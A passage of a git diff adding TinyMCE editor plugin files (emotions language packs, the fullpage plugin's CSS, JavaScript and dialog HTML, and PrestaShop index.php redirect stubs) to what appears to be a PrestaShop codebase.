+tinyMCE.addI18n('th.emotions_dlg',{cry:"\u0e23\u0e49\u0e2d\u0e07\u0e44\u0e2b\u0e49",cool:"\u0e40\u0e08\u0e4b\u0e07",desc:"\u0e44\u0e2d\u0e04\u0e2d\u0e19\u0e41\u0e2a\u0e14\u0e07\u0e2d\u0e32\u0e23\u0e21\u0e13\u0e4c",title:"\u0e40\u0e1e\u0e34\u0e48\u0e21\u0e44\u0e2d\u0e04\u0e2d\u0e19\u0e41\u0e2a\u0e14\u0e07\u0e2d\u0e32\u0e23\u0e21\u0e13\u0e4c",yell:"\u0e42\u0e27\u0e22\u0e27\u0e32\u0e22",wink:"\u0e02\u0e22\u0e34\u0e1a\u0e15\u0e32",undecided:"\u0e25\u0e31\u0e07\u0e40\u0e25","tongue_out":"\u0e41\u0e25\u0e1a\u0e25\u0e34\u0e49\u0e19",surprised:"\u0e1b\u0e23\u0e30\u0e2b\u0e25\u0e32\u0e14\u0e43\u0e08",smile:"Smile",sealed:"\u0e1b\u0e34\u0e14\u0e1b\u0e32\u0e01","money_mouth":"\u0e40\u0e07\u0e34\u0e19\u0e46\u0e46\u0e46",laughing:"\u0e2b\u0e31\u0e27\u0e40\u0e23\u0e32\u0e30",kiss:"\u0e08\u0e39\u0e1a",innocent:"\u0e44\u0e23\u0e49\u0e40\u0e14\u0e35\u0e22\u0e07\u0e2a\u0e32",frown:"\u0e1a\u0e36\u0e49\u0e07\u0e15\u0e36\u0e07","foot_in_mouth":"\u0e1b\u0e34\u0e14\u0e1b\u0e32\u0e01",embarassed:"\u0e2d\u0e32\u0e22",usage:"\u0e43\u0e0a\u0e49\u0e25\u0e39\u0e01\u0e28\u0e23\u0e0b\u0e49\u0e32\u0e22\u0e41\u0e25\u0e30\u0e02\u0e27\u0e32\u0e40\u0e1e\u0e37\u0e48\u0e2d\u0e19\u0e33\u0e17\u0e32\u0e07"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/langs/tr_dlg.js b/js/tiny_mce/plugins/emotions/langs/tr_dlg.js new file mode 100755 index 0000000..ab37837 --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/tr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tr.emotions_dlg',{cry:"A\u011flayan",cool:"Sakin",desc:"\u0130fadeler",title:"\u0130fade ekle",yell:"Ba\u011f\u0131rma",wink:"G\u00f6z k\u0131rpma",undecided:"Karars\u0131z","tongue_out":"Dil \u00e7\u0131karma",surprised:"\u015ea\u015f\u0131rma",smile:"G\u00fcl\u00fcmseme",sealed:"Gizli","money_mouth":"Para g\u00f6z",laughing:"Kahkaha",kiss:"\u00d6p\u00fcc\u00fck",innocent:"Masum",frown:"As\u0131k","foot_in_mouth":"Pot k\u0131rm\u0131\u015f",embarassed:"Utanga\u00e7"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/langs/tw_dlg.js b/js/tiny_mce/plugins/emotions/langs/tw_dlg.js new file mode 100755 index 0000000..49a9319 --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tw.emotions_dlg',{cry:"\u54ed\u6ce3",cool:"\u9177",desc:"\u8868\u60c5\u5217\u8868",title:"\u63d2\u5165\u8868\u60c5",yell:"\u5927\u53eb",wink:"\u7728\u773c",undecided:"\u601d\u8003","tongue_out":"\u5410\u820c\u982d",surprised:"\u9a5a\u8a1d",smile:"\u5fae\u7b11",sealed:"\u4fdd\u5bc6","money_mouth":"\u767c\u8ca1",laughing:"\u5927\u7b11",kiss:"\u543b",innocent:"\u5929\u771f",frown:"\u76ba\u7709","foot_in_mouth":"\u54a7\u5634",embarassed:"\u5c37\u5c2c"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/langs/uk_dlg.js b/js/tiny_mce/plugins/emotions/langs/uk_dlg.js new file mode 100755 index 0000000..ec10c33 --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/uk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('uk.emotions_dlg',{cry:"\u041f\u043b\u0430\u0447",cool:"Cool",desc:"\u041f\u043e\u0441\u043c\u0456\u0448\u043a\u0438",title:"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u043f\u043e\u0441\u043c\u0456\u0448\u043a\u0443",yell:"\u0417\u043e\u0439\u043a",wink:"\u041f\u0456\u0434\u043c\u043e\u0440\u0433\u0443\u0454",undecided:"\u041d\u0435\u0440\u0456\u0448\u0443\u0447\u0456\u0441\u0442\u044c","tongue_out":"\u041f\u043e\u043a\u0430\u0437\u0443\u0454 \u044f\u0437\u0438\u043a\u0430",surprised:"\u0417\u0434\u0438\u0432\u043e\u0432\u0430\u043d\u0456\u0441\u0442\u044c",smile:"\u041f\u043e\u0441\u043c\u0456\u0448\u043a\u0430",sealed:"Sealed","money_mouth":"\u0413\u0440\u043e\u0449\u0456 \u0432 \u0440\u043e\u0442\u0456",laughing:"\u0421\u043c\u0456\u0445",kiss:"\u041f\u043e\u0446\u0456\u043b\u0443\u043d\u043e\u043a",innocent:"\u041d\u0435\u0432\u0438\u043d\u043d\u0456\u0441\u0442\u044c",frown:"\u041d\u0430\u0441\u0443\u043f\u043b\u0435\u043d\u043d\u0456\u0441\u0442\u044c","foot_in_mouth":"\u041d\u043e\u0433\u0430 \u0432 \u0440\u043e\u0442\u0456",embarassed:"\u0417\u0431\u0435\u043d\u0442\u0435\u0436\u0435\u043d\u043d\u044f",usage:"Use left and right arrows to navigate."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/langs/vi_dlg.js b/js/tiny_mce/plugins/emotions/langs/vi_dlg.js new file mode 100755 index 0000000..b77323c --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/vi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('vi.emotions_dlg',{cry:"Kh\u00f3c",cool:"Kh\u00f4ng bi\u1ebft ng\u01b0\u1ee3ng",desc:"Bi\u1ec3u T\u01b0\u1ee3ng C\u1ea3m X\u00fac",title:"Bi\u1ec3u T\u01b0\u1ee3ng C\u1ea3m X\u00fac",yell:"La h\u00e9t",wink:"Nh\u00e1y m\u1eaft",undecided:"L\u01b0\u1ee1ng l\u1ef1","tongue_out":"L\u00e8 l\u01b0\u1ee1i",surprised:"Ng\u1ea1c nhi\u00ean",smile:"M\u1ec9m c\u01b0\u1eddi",sealed:"K\u00edn mi\u1ec7ng","money_mouth":"S\u00e1ng m\u1eaft v\u00ec $",laughing:"C\u01b0\u1eddi nh\u0103n r\u0103ng",kiss:"N\u1ee5 h\u00f4n",innocent:"Ng\u00e2y th\u01a1",frown:"Cau m\u00e0y","foot_in_mouth":"L\u1ee1 l\u1eddi",embarassed:"X\u1ea5u h\u1ed5"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/langs/zh-cn_dlg.js b/js/tiny_mce/plugins/emotions/langs/zh-cn_dlg.js new file mode 100755 index 0000000..1dece2c --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/zh-cn_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-cn.emotions_dlg',{cry:"\u54ed",cool:"\u9177",desc:"\u8868\u60c5",title:"\u63d2\u5165\u8868\u60c5",yell:"\u53eb\u558a",wink:"\u7728\u773c",undecided:"\u72b9\u8c6b","tongue_out":"\u5410\u820c\u5934",surprised:"\u60ca\u8bb6",smile:"\u5fae\u7b11",sealed:"\u4fdd\u5bc6","money_mouth":"\u53d1\u8d22",laughing:"\u5927\u7b11",kiss:"\u543b",innocent:"\u5929\u771f",frown:"\u76b1\u7709","foot_in_mouth":"\u8822\u8bdd",embarassed:"\u5c34\u5c2c"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/langs/zh-tw_dlg.js b/js/tiny_mce/plugins/emotions/langs/zh-tw_dlg.js new file mode 100755 index 0000000..4b670b0 --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/zh-tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-tw.emotions_dlg',{cry:"\u597d\u60f3\u54ed",cool:"\u9177\u554a\uff01",desc:"\u8868\u60c5",title:"\u4f7f\u7528\u8868\u60c5\u7b26\u865f",yell:"\u554a\u554a\u554a\u554a\uff01",wink:"Wink\uff01",undecided:"\u597d\u7336\u8c6b","tongue_out":"\u5566~",surprised:"\u7d66\u4f60\u4e00\u500b\u9a5a\u559c\uff01",smile:"\u5fae\u7b11",sealed:"(\u4e0d\u80fd\u8aaa)","money_mouth":"\u9322\u9322\u9322",laughing:"\u54c8\u54c8",kiss:"\u89aa\u4e00\u500b",innocent:"\u88dd\u7121\u8f9c",frown:"\u7709\u982d\u6df1\u9396","foot_in_mouth":"\u5931\u8a00",embarassed:"\u597d\u5c37\u5c2c\u2026"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/css/fullpage.css b/js/tiny_mce/plugins/fullpage/css/fullpage.css new file mode 100755 index 0000000..28b721f --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/css/fullpage.css @@ -0,0 +1,143 @@ +/* Hide the advanced tab */ +#advanced_tab { + display: none; +} + +#metatitle, #metakeywords, #metadescription, #metaauthor, #metacopyright { + width: 280px; +} + +#doctype, #docencoding { + width: 200px; +} + +#langcode { + width: 30px; +} + +#bgimage { + width: 220px; +} + +#fontface { + width: 240px; +} + +#leftmargin, #rightmargin, #topmargin, #bottommargin { + width: 50px; +} + +.panel_wrapper div.current { + height: 400px; +} + +#stylesheet, #style { + width: 240px; +} + +#doctypes { + width: 200px; +} + +/* Head list classes */ + +.headlistwrapper { + width: 100%; +} + +.selected { + border: 1px solid #0A246A; + background-color: #B6BDD2; +} + +.toolbar { + width: 100%; +} + +#headlist { + width: 100%; + margin-top: 3px; + font-size: 11px; +} + +#info, #title_element, #meta_element, #script_element, #style_element, #base_element, #link_element, #comment_element, #unknown_element { + display: none; +} + +#addmenu { + position: absolute; + border: 1px solid gray; + display: none; + z-index: 100; + background-color: white; +} + +#addmenu a { + display: block; + width: 100%; + line-height: 20px; + text-decoration: none; + background-color: white; +} + +#addmenu a:hover { + background-color: #B6BDD2; + color: black; +} + +#addmenu span { + padding-left: 10px; + padding-right: 10px; +} + +#updateElementPanel { + display: none; +} + +#script_element .panel_wrapper div.current { + height: 108px; +} + +#style_element .panel_wrapper div.current { + height: 108px; +} + +#link_element .panel_wrapper div.current { + height: 140px; +} + +#element_script_value { + width: 100%; + height: 100px; +} + +#element_comment_value { + width: 100%; + height: 120px; +} + +#element_style_value { + width: 100%; + height: 100px; +} + +#element_title, #element_script_src, #element_meta_name, #element_meta_content, #element_base_href, #element_link_href, #element_link_title { + width: 250px; +} + +.updateElementButton { + margin-top: 3px; +} + +/* MSIE specific styles */ + +* html .addbutton, * html .removebutton, * html .moveupbutton, * html .movedownbutton { + width: 22px; + height: 22px; +} + +textarea { + height: 55px; +} + +.panel_wrapper div.current {height:420px;} \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/css/index.php b/js/tiny_mce/plugins/fullpage/css/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/css/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/fullpage/editor_plugin.js b/js/tiny_mce/plugins/fullpage/editor_plugin.js new file mode 100755 index 0000000..dcf7602 --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/editor_plugin.js @@ -0,0 +1 @@ +(function(){var b=tinymce.each,a=tinymce.html.Node;tinymce.create("tinymce.plugins.FullPagePlugin",{init:function(c,d){var e=this;e.editor=c;c.addCommand("mceFullPageProperties",function(){c.windowManager.open({file:d+"/fullpage.htm",width:430+parseInt(c.getLang("fullpage.delta_width",0)),height:495+parseInt(c.getLang("fullpage.delta_height",0)),inline:1},{plugin_url:d,data:e._htmlToData()})});c.addButton("fullpage",{title:"fullpage.desc",cmd:"mceFullPageProperties"});c.onBeforeSetContent.add(e._setContent,e);c.onGetContent.add(e._getContent,e)},getInfo:function(){return{longname:"Fullpage",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/fullpage",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_htmlToData:function(){var f=this._parseHeader(),h={},c,i,g,e=this.editor;function d(l,j){var k=l.attr(j);return k||""}h.fontface=e.getParam("fullpage_default_fontface","");h.fontsize=e.getParam("fullpage_default_fontsize","");i=f.firstChild;if(i.type==7){h.xml_pi=true;g=/encoding="([^"]+)"/.exec(i.value);if(g){h.docencoding=g[1]}}i=f.getAll("#doctype")[0];if(i){h.doctype=""}i=f.getAll("title")[0];if(i&&i.firstChild){h.metatitle=i.firstChild.value}b(f.getAll("meta"),function(m){var k=m.attr("name"),j=m.attr("http-equiv"),l;if(k){h["meta"+k.toLowerCase()]=m.attr("content")}else{if(j=="Content-Type"){l=/charset\s*=\s*(.*)\s*/gi.exec(m.attr("content"));if(l){h.docencoding=l[1]}}}});i=f.getAll("html")[0];if(i){h.langcode=d(i,"lang")||d(i,"xml:lang")}i=f.getAll("link")[0];if(i&&i.attr("rel")=="stylesheet"){h.stylesheet=i.attr("href")}i=f.getAll("body")[0];if(i){h.langdir=d(i,"dir");h.style=d(i,"style");h.visited_color=d(i,"vlink");h.link_color=d(i,"link");h.active_color=d(i,"alink")}return h},_dataToHtml:function(g){var f,d,h,j,k,e=this.editor.dom;function c(n,l,m){n.attr(l,m?m:undefined)}function i(l){if(d.firstChild){d.insert(l,d.firstChild)}else{d.append(l)}}f=this._parseHeader();d=f.getAll("head")[0];if(!d){j=f.getAll("html")[0];d=new a("head",1);if(j.firstChild){j.insert(d,j.firstChild,true)}else{j.append(d)}}j=f.firstChild;if(g.xml_pi){k='version="1.0"';if(g.docencoding){k+=' encoding="'+g.docencoding+'"'}if(j.type!=7){j=new a("xml",7);f.insert(j,f.firstChild,true)}j.value=k}else{if(j&&j.type==7){j.remove()}}j=f.getAll("#doctype")[0];if(g.doctype){if(!j){j=new a("#doctype",10);if(g.xml_pi){f.insert(j,f.firstChild)}else{i(j)}}j.value=g.doctype.substring(9,g.doctype.length-1)}else{if(j){j.remove()}}j=f.getAll("title")[0];if(g.metatitle){if(!j){j=new a("title",1);j.append(new a("#text",3)).value=g.metatitle;i(j)}}if(g.docencoding){j=null;b(f.getAll("meta"),function(l){if(l.attr("http-equiv")=="Content-Type"){j=l}});if(!j){j=new a("meta",1);j.attr("http-equiv","Content-Type");j.shortEnded=true;i(j)}j.attr("content","text/html; charset="+g.docencoding)}b("keywords,description,author,copyright,robots".split(","),function(m){var l=f.getAll("meta"),n,p,o=g["meta"+m];for(n=0;n"))},_parseHeader:function(){return new tinymce.html.DomParser({validate:false,root_name:"#document"}).parse(this.head)},_setContent:function(g,d){var m=this,i,c,h=d.content,f,l="",e=m.editor.dom,j;function k(n){return n.replace(/<\/?[A-Z]+/g,function(o){return o.toLowerCase()})}if(d.format=="raw"&&m.head){return}if(d.source_view&&g.getParam("fullpage_hide_in_source_view")){return}h=h.replace(/<(\/?)BODY/gi,"<$1body");i=h.indexOf("",i);m.head=k(h.substring(0,i+1));c=h.indexOf("\n"}f=m._parseHeader();b(f.getAll("style"),function(n){if(n.firstChild){l+=n.firstChild.value}});j=f.getAll("body")[0];if(j){e.setAttribs(m.editor.getBody(),{style:j.attr("style")||"",dir:j.attr("dir")||"",vLink:j.attr("vlink")||"",link:j.attr("link")||"",aLink:j.attr("alink")||""})}e.remove("fullpage_styles");if(l){e.add(m.editor.getDoc().getElementsByTagName("head")[0],"style",{id:"fullpage_styles"},l);j=e.get("fullpage_styles");if(j.styleSheet){j.styleSheet.cssText=l}}},_getDefaultHeader:function(){var f="",c=this.editor,e,d="";if(c.getParam("fullpage_default_xml_pi")){f+='\n'}f+=c.getParam("fullpage_default_doctype",'');f+="\n\n\n";if(e=c.getParam("fullpage_default_title")){f+=""+e+"\n"}if(e=c.getParam("fullpage_default_encoding")){f+='\n'}if(e=c.getParam("fullpage_default_font_family")){d+="font-family: "+e+";"}if(e=c.getParam("fullpage_default_font_size")){d+="font-size: "+e+";"}if(e=c.getParam("fullpage_default_text_color")){d+="color: "+e+";"}f+="\n\n";return f},_getContent:function(d,e){var c=this;if(!e.source_view||!d.getParam("fullpage_hide_in_source_view")){e.content=tinymce.trim(c.head)+"\n"+tinymce.trim(e.content)+"\n"+tinymce.trim(c.foot)}}});tinymce.PluginManager.add("fullpage",tinymce.plugins.FullPagePlugin)})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/editor_plugin_src.js b/js/tiny_mce/plugins/fullpage/editor_plugin_src.js new file mode 100755 index 0000000..8b49c44 --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/editor_plugin_src.js @@ -0,0 +1,405 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + var each = tinymce.each, Node = tinymce.html.Node; + + tinymce.create('tinymce.plugins.FullPagePlugin', { + init : function(ed, url) { + var t = this; + + t.editor = ed; + + // Register commands + ed.addCommand('mceFullPageProperties', function() { + ed.windowManager.open({ + file : url + '/fullpage.htm', + width : 430 + parseInt(ed.getLang('fullpage.delta_width', 0)), + height : 495 + parseInt(ed.getLang('fullpage.delta_height', 0)), + inline : 1 + }, { + plugin_url : url, + data : t._htmlToData() + }); + }); + + // Register buttons + ed.addButton('fullpage', {title : 'fullpage.desc', cmd : 'mceFullPageProperties'}); + + ed.onBeforeSetContent.add(t._setContent, t); + ed.onGetContent.add(t._getContent, t); + }, + + getInfo : function() { + return { + longname : 'Fullpage', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/fullpage', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + }, + + // Private plugin internal methods + + _htmlToData : function() { + var headerFragment = this._parseHeader(), data = {}, nodes, elm, matches, editor = this.editor; + + function getAttr(elm, name) { + var value = elm.attr(name); + + return value || ''; + }; + + // Default some values + data.fontface = editor.getParam("fullpage_default_fontface", ""); + data.fontsize = editor.getParam("fullpage_default_fontsize", ""); + + // Parse XML PI + elm = headerFragment.firstChild; + if (elm.type == 7) { + data.xml_pi = true; + matches = /encoding="([^"]+)"/.exec(elm.value); + if (matches) + data.docencoding = matches[1]; + } + + // Parse doctype + elm = headerFragment.getAll('#doctype')[0]; + if (elm) + data.doctype = '"; + + // Parse title element + elm = headerFragment.getAll('title')[0]; + if (elm && elm.firstChild) { + data.metatitle = elm.firstChild.value; + } + + // Parse meta elements + each(headerFragment.getAll('meta'), function(meta) { + var name = meta.attr('name'), httpEquiv = meta.attr('http-equiv'), matches; + + if (name) + data['meta' + name.toLowerCase()] = meta.attr('content'); + else if (httpEquiv == "Content-Type") { + matches = /charset\s*=\s*(.*)\s*/gi.exec(meta.attr('content')); + + if (matches) + data.docencoding = matches[1]; + } + }); + + // Parse html attribs + elm = headerFragment.getAll('html')[0]; + if (elm) + data.langcode = getAttr(elm, 'lang') || getAttr(elm, 'xml:lang'); + + // Parse stylesheet + elm = headerFragment.getAll('link')[0]; + if (elm && elm.attr('rel') == 'stylesheet') + data.stylesheet = elm.attr('href'); + + // Parse body parts + elm = headerFragment.getAll('body')[0]; + if (elm) { + data.langdir = getAttr(elm, 'dir'); + data.style = getAttr(elm, 'style'); + data.visited_color = getAttr(elm, 'vlink'); + data.link_color = getAttr(elm, 'link'); + data.active_color = getAttr(elm, 'alink'); + } + + return data; + }, + + _dataToHtml : function(data) { + var headerFragment, headElement, html, elm, value, dom = this.editor.dom; + + function setAttr(elm, name, value) { + elm.attr(name, value ? value : undefined); + }; + + function addHeadNode(node) { + if (headElement.firstChild) + headElement.insert(node, headElement.firstChild); + else + headElement.append(node); + }; + + headerFragment = this._parseHeader(); + headElement = headerFragment.getAll('head')[0]; + if (!headElement) { + elm = headerFragment.getAll('html')[0]; + headElement = new Node('head', 1); + + if (elm.firstChild) + elm.insert(headElement, elm.firstChild, true); + else + elm.append(headElement); + } + + // Add/update/remove XML-PI + elm = headerFragment.firstChild; + if (data.xml_pi) { + value = 'version="1.0"'; + + if (data.docencoding) + value += ' encoding="' + data.docencoding + '"'; + + if (elm.type != 7) { + elm = new Node('xml', 7); + headerFragment.insert(elm, headerFragment.firstChild, true); + } + + elm.value = value; + } else if (elm && elm.type == 7) + elm.remove(); + + // Add/update/remove doctype + elm = headerFragment.getAll('#doctype')[0]; + if (data.doctype) { + if (!elm) { + elm = new Node('#doctype', 10); + + if (data.xml_pi) + headerFragment.insert(elm, headerFragment.firstChild); + else + addHeadNode(elm); + } + + elm.value = data.doctype.substring(9, data.doctype.length - 1); + } else if (elm) + elm.remove(); + + // Add/update/remove title + elm = headerFragment.getAll('title')[0]; + if (data.metatitle) { + if (!elm) { + elm = new Node('title', 1); + elm.append(new Node('#text', 3)).value = data.metatitle; + addHeadNode(elm); + } + } + + // Add meta encoding + if (data.docencoding) { + elm = null; + each(headerFragment.getAll('meta'), function(meta) { + if (meta.attr('http-equiv') == 'Content-Type') + elm = meta; + }); + + if (!elm) { + elm = new Node('meta', 1); + elm.attr('http-equiv', 'Content-Type'); + elm.shortEnded = true; + addHeadNode(elm); + } + + elm.attr('content', 'text/html; charset=' + data.docencoding); + } + + // Add/update/remove meta + each('keywords,description,author,copyright,robots'.split(','), function(name) { + var nodes = headerFragment.getAll('meta'), i, meta, value = data['meta' + name]; + + for (i = 0; i < nodes.length; i++) { + meta = nodes[i]; + + if (meta.attr('name') == name) { + if (value) + meta.attr('content', value); + else + meta.remove(); + + return; + } + } + + if (value) { + elm = new Node('meta', 1); + elm.attr('name', name); + elm.attr('content', value); + elm.shortEnded = true; + + addHeadNode(elm); + } + }); + + // Add/update/delete link + elm = headerFragment.getAll('link')[0]; + if (elm && elm.attr('rel') == 'stylesheet') { + if (data.stylesheet) + elm.attr('href', data.stylesheet); + else + elm.remove(); + } else if (data.stylesheet) { + elm = new Node('link', 1); + elm.attr({ + rel : 'stylesheet', + text : 'text/css', + href : data.stylesheet + }); + elm.shortEnded = true; + + addHeadNode(elm); + } + + // Update body attributes + elm = headerFragment.getAll('body')[0]; + if (elm) { + setAttr(elm, 'dir', data.langdir); + setAttr(elm, 'style', data.style); + setAttr(elm, 'vlink', data.visited_color); + setAttr(elm, 'link', data.link_color); + setAttr(elm, 'alink', data.active_color); + + // Update iframe body as well + dom.setAttribs(this.editor.getBody(), { + style : data.style, + dir : data.dir, + vLink : data.visited_color, + link : data.link_color, + aLink : data.active_color + }); + } + + // Set html attributes + elm = headerFragment.getAll('html')[0]; + if (elm) { + setAttr(elm, 'lang', data.langcode); + setAttr(elm, 'xml:lang', data.langcode); + } + + // Serialize header fragment and crop away body part + html = new tinymce.html.Serializer({ + validate: false, + indent: true, + apply_source_formatting : true, + indent_before: 'head,html,body,meta,title,script,link,style', + indent_after: 'head,html,body,meta,title,script,link,style' + }).serialize(headerFragment); + + this.head = html.substring(0, html.indexOf('')); + }, + + _parseHeader : function() { + // Parse the contents with a DOM parser + return new tinymce.html.DomParser({ + validate: false, + root_name: '#document' + }).parse(this.head); + }, + + _setContent : function(ed, o) { + var self = this, startPos, endPos, content = o.content, headerFragment, styles = '', dom = self.editor.dom, elm; + + function low(s) { + return s.replace(/<\/?[A-Z]+/g, function(a) { + return a.toLowerCase(); + }) + }; + + // Ignore raw updated if we already have a head, this will fix issues with undo/redo keeping the head/foot separate + if (o.format == 'raw' && self.head) + return; + + if (o.source_view && ed.getParam('fullpage_hide_in_source_view')) + return; + + // Parse out head, body and footer + content = content.replace(/<(\/?)BODY/gi, '<$1body'); + startPos = content.indexOf('', startPos); + self.head = low(content.substring(0, startPos + 1)); + + endPos = content.indexOf('\n'; + + header += editor.getParam('fullpage_default_doctype', ''); + header += '\n\n\n'; + + if (value = editor.getParam('fullpage_default_title')) + header += '' + value + '\n'; + + if (value = editor.getParam('fullpage_default_encoding')) + header += '\n'; + + if (value = editor.getParam('fullpage_default_font_family')) + styles += 'font-family: ' + value + ';'; + + if (value = editor.getParam('fullpage_default_font_size')) + styles += 'font-size: ' + value + ';'; + + if (value = editor.getParam('fullpage_default_text_color')) + styles += 'color: ' + value + ';'; + + header += '\n\n'; + + return header; + }, + + _getContent : function(ed, o) { + var self = this; + + if (!o.source_view || !ed.getParam('fullpage_hide_in_source_view')) + o.content = tinymce.trim(self.head) + '\n' + tinymce.trim(o.content) + '\n' + tinymce.trim(self.foot); + } + }); + + // Register plugin + tinymce.PluginManager.add('fullpage', tinymce.plugins.FullPagePlugin); +})(); diff --git a/js/tiny_mce/plugins/fullpage/fullpage.htm b/js/tiny_mce/plugins/fullpage/fullpage.htm new file mode 100755 index 0000000..200f2b8 --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/fullpage.htm @@ -0,0 +1,259 @@ + + + + {#fullpage_dlg.title} + + + + + + + +
    + + +
    +
    +
    + {#fullpage_dlg.meta_props} + + + + + + + + + + + + + + + + + + + + + + + + + + +
     
     
     
     
     
      + +
    +
    + +
    + {#fullpage_dlg.langprops} + + + + + + + + + + + + + + + + + + + + + + +
    + +
      + +
     
    + +
     
    +
    +
    + +
    +
    + {#fullpage_dlg.appearance_textprops} + + + + + + + + + + + + + + + + +
    + +
    + +
    + + + + + +
     
    +
    +
    + +
    + {#fullpage_dlg.appearance_bgprops} + + + + + + + + + + +
    + + + + + +
     
    +
    + + + + + +
     
    +
    +
    + +
    + {#fullpage_dlg.appearance_marginprops} + + + + + + + + + + + + + + +
    +
    + +
    + {#fullpage_dlg.appearance_linkprops} + + + + + + + + + + + + + + + + + +
    + + + + + +
    +
    + + + + + +
     
    +
    + + + + + +
     
    +
      
    +
    + +
    + {#fullpage_dlg.appearance_style} + + + + + + + + + + +
    + + + + +
     
    +
    +
    +
    + +
    + + +
    +
    + + diff --git a/js/tiny_mce/plugins/fullpage/index.php b/js/tiny_mce/plugins/fullpage/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/fullpage/js/fullpage.js b/js/tiny_mce/plugins/fullpage/js/fullpage.js new file mode 100755 index 0000000..66eec2d --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/js/fullpage.js @@ -0,0 +1,232 @@ +/** + * fullpage.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + tinyMCEPopup.requireLangPack(); + + var defaultDocTypes = + 'XHTML 1.0 Transitional=,' + + 'XHTML 1.0 Frameset=,' + + 'XHTML 1.0 Strict=,' + + 'XHTML 1.1=,' + + 'HTML 4.01 Transitional=,' + + 'HTML 4.01 Strict=,' + + 'HTML 4.01 Frameset='; + + var defaultEncodings = + 'Western european (iso-8859-1)=iso-8859-1,' + + 'Central European (iso-8859-2)=iso-8859-2,' + + 'Unicode (UTF-8)=utf-8,' + + 'Chinese traditional (Big5)=big5,' + + 'Cyrillic (iso-8859-5)=iso-8859-5,' + + 'Japanese (iso-2022-jp)=iso-2022-jp,' + + 'Greek (iso-8859-7)=iso-8859-7,' + + 'Korean (iso-2022-kr)=iso-2022-kr,' + + 'ASCII (us-ascii)=us-ascii'; + + var defaultFontNames = 'Arial=arial,helvetica,sans-serif;Courier New=courier new,courier,monospace;Georgia=georgia,times new roman,times,serif;Tahoma=tahoma,arial,helvetica,sans-serif;Times New Roman=times new roman,times,serif;Verdana=verdana,arial,helvetica,sans-serif;Impact=impact;WingDings=wingdings'; + var defaultFontSizes = '10px,11px,12px,13px,14px,15px,16px'; + + function setVal(id, value) { + var elm = document.getElementById(id); + + if (elm) { + value = value || ''; + + if (elm.nodeName == "SELECT") + selectByValue(document.forms[0], id, value); + else if (elm.type == "checkbox") + elm.checked = !!value; + else + elm.value = value; + } + }; + + function getVal(id) { + var elm = document.getElementById(id); + + if (elm.nodeName == "SELECT") + return elm.options[elm.selectedIndex].value; + + if (elm.type == "checkbox") + return elm.checked; + + return elm.value; + }; + + window.FullPageDialog = { + changedStyle : function() { + var val, styles = tinyMCEPopup.editor.dom.parseStyle(getVal('style')); + + setVal('fontface', styles['font-face']); + setVal('fontsize', styles['font-size']); + setVal('textcolor', styles['color']); + + if (val = styles['background-image']) + setVal('bgimage', val.replace(new RegExp("url\\('?([^']*)'?\\)", 'gi'), "$1")); + else + setVal('bgimage', ''); + + setVal('bgcolor', styles['background-color']); + + // Reset margin form elements + setVal('topmargin', ''); + setVal('rightmargin', ''); + 